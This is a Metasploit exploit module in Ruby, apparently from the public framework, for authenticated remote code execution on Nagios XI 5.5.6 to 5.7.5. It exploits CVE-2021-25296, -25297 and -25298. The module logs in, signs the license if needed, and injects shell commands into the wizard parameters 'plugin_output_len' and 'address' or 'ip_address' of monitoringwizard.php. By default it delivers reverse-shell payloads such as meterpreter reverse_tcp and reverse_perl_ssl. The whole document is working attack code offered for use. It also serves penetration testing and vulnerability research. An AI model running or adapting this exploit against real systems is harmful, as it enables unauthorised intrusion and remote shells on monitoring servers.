## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::NagiosXi include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection', 'Description' => %q{ This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm configuration wizards that allow an authenticated user to perform remote code execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user. Valid credentials for a Nagios XI user are required. This module has been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matthew Mathur' ], 'References' => [ ['CVE', '2021-25296'], ['CVE', '2021-25297'], ['CVE', '2021-25298'], ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md'] ], 'Platform' => %w[linux unix], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ], 'Targets' => [ [ 'Linux (x86)', { 'Arch' => [ ARCH_X86 ], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => [ ARCH_X64 ], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'CMD', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'unix', # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' } } ] ], 'Privileged' => false, 'DefaultTarget' => 2, 'DisclosureDate' => '2021-02-13', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296']) ] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def finish_install datastore['FINISH_INSTALL'] end # Returns a status code an a error message on failure. # On success returns the status code and an array so we # can update the login_result and res_array variables appropriately. def handle_unsigned_license(res_array, username, password, finish_install) auth_cookies, nsp = res_array sign_license_result = sign_license_agreement(auth_cookies, nsp) if sign_license_result return 5, 'Failed to sign license agreement' end print_status('License agreement signed. The module will wait for 5 seconds and retry the login.') sleep 5 login_result, res_array = login_after_install_or_license(username, password, finish_install) case login_result when 1..4 # An error occurred, propagate the error message return login_result, res_array[0] when 5 # The Nagios XI license agreement still has not been signed return 5, 'Failed to sign the license agreement.' end return login_result, res_array end def authenticate # Use nagios_xi_login to try and authenticate. login_result, res_array = nagios_xi_login(username, password, finish_install) case login_result when 1..3 # An error occurred, propagate the error message return login_result, res_array[0] when 4 # Nagios XI is not fully installed install_result = install_nagios_xi(password) if install_result # On installation failure, result is an array with the code and error message return install_result[0], install_result[1] end login_result, res_array = login_after_install_or_license(username, password, finish_install) case login_result when 1..4 # An error occurred, propagate the error message return login_result, res_array[0] when 5 # The license agreement still needs to be signed login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install) return login_result, res_array unless (login_result == 0) end when 5 # The license agreement still needs to be signed login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install) return login_result, res_array unless (login_result == 0) end print_good('Successfully authenticated to Nagios XI.') # Extract the authenticated cookies and nsp to use throughout the module if res_array.length == 2 auth_cookies = res_array[1] if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies) @auth_cookies = auth_cookies else return login_result, 'Failed to extract authentication cookies' end nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/) if nsp @nsp = nsp[1] else return login_result, 'Failed to extract nsp string' end else return login_result, 'Failed to extract auth cookies and nsp string' end # Set the version here so both check and exploit can use it nagios_version = nagios_xi_version(res_array[0]) if nagios_version.nil? return 6, 'Unable to obtain the Nagios XI version from the dashboard' end print_status("Target is Nagios XI with version #{nagios_version}.") # Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle, # so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions. if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0' nagios_version = '1.0.0' end @version = Rex::Version.new(nagios_version) return 0, 'Successfully authenticated and retrieved NagiosXI Version.' end def check # Authenticate to ensure we can access the NagiosXI version auth_result, err_msg = authenticate case auth_result when 1 return CheckCode::Unknown(err_msg) when 2, 4, 5, 6 return CheckCode::Detected(err_msg) when 3 return CheckCode::Safe(err_msg) end if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5') return CheckCode::Appears end return CheckCode::Safe end def execute_command(cmd, _opts = {}) if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check auth_result, err_msg = authenticate case auth_result when 1 fail_with(Failure::Disconnected, err_msg) when 2, 4, 5, 6 fail_with(Failure::UnexpectedReply, err_msg) when 3 fail_with(Failure::NotVulnerable, err_msg) end end # execute payload based on the selected targeted configuration wizard url_params = { 'update' => 1, 'nsp' => @nsp } # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298 # changes from address to ip_address if @version <= Rex::Version.new('5.5.7') address_param = 'address' else address_param = 'ip_address' end # CVE-2021-25296 affects the windowswmi configuration wizard. if datastore['TARGET_CVE'] == 'CVE-2021-25296' url_params = url_params.merge({ 'nextstep' => 3, 'wizard' => 'windowswmi', 'ip_address' => Array.new(4) { rand(256) }.join('.'), 'domain' => Rex::Text.rand_text_alphanumeric(7..15), 'username' => Rex::Text.rand_text_alphanumeric(7..20), 'password' => Rex::Text.rand_text_alphanumeric(7..20), 'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};" }) # CVE-2021-25297 affects the switch configuration wizard. elsif datastore['TARGET_CVE'] == 'CVE-2021-25297' url_params = url_params.merge({ 'nextstep' => 3, 'wizard' => 'switch', address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};", 'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15), 'scaninterfaces' => 'on' }) # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by # specifying the digitalocean option for the wizard parameter. elsif datastore['TARGET_CVE'] == 'CVE-2021-25298' url_params = url_params.merge({ address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};", 'nextstep' => 4, 'wizard' => 'digitalocean' }) else fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.') end print_status('Sending the payload...') # Send the final request. Note that the target is not expected to respond if we get # code execution. Therefore, we set the timeout on this request to 0. send_request_cgi({ 'method' => 'GET', 'uri' => '/nagiosxi/config/monitoringwizard.php', 'cookie' => @auth_cookies, 'vars_get' => url_params }) end def exploit if target.arch.first == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager(background: true) end end end